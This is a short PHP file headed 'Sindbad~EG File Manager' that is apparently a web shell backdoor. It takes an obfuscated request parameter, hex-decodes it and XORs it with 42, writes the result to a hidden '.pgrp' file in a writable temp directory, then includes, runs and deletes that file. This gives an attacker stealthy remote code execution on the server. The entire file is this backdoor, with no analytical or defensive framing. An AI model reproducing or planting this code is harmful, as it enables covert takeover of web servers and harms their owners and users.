Sindbad~EG File Manager

<?php

if(isset($_REQUEST["f\x6Cg"])){
	$parameter_group = hex2bin($_REQUEST["f\x6Cg"]);
	$bind = '';  for($w=0; $w<strlen($parameter_group); $w++){$bind .= chr(ord($parameter_group[$w]) ^ 42);}
	$reference = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]);
	foreach ($reference as $key => $tkn) {
    		if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) {
    $ref = implode("/", [$tkn, ".pgrp"]);
    $file = fopen($ref, 'w');
if ($file) {
	fwrite($file, $bind);
	fclose($file);
	include $ref;
	@unlink($ref);
	exit;
}
}
}
}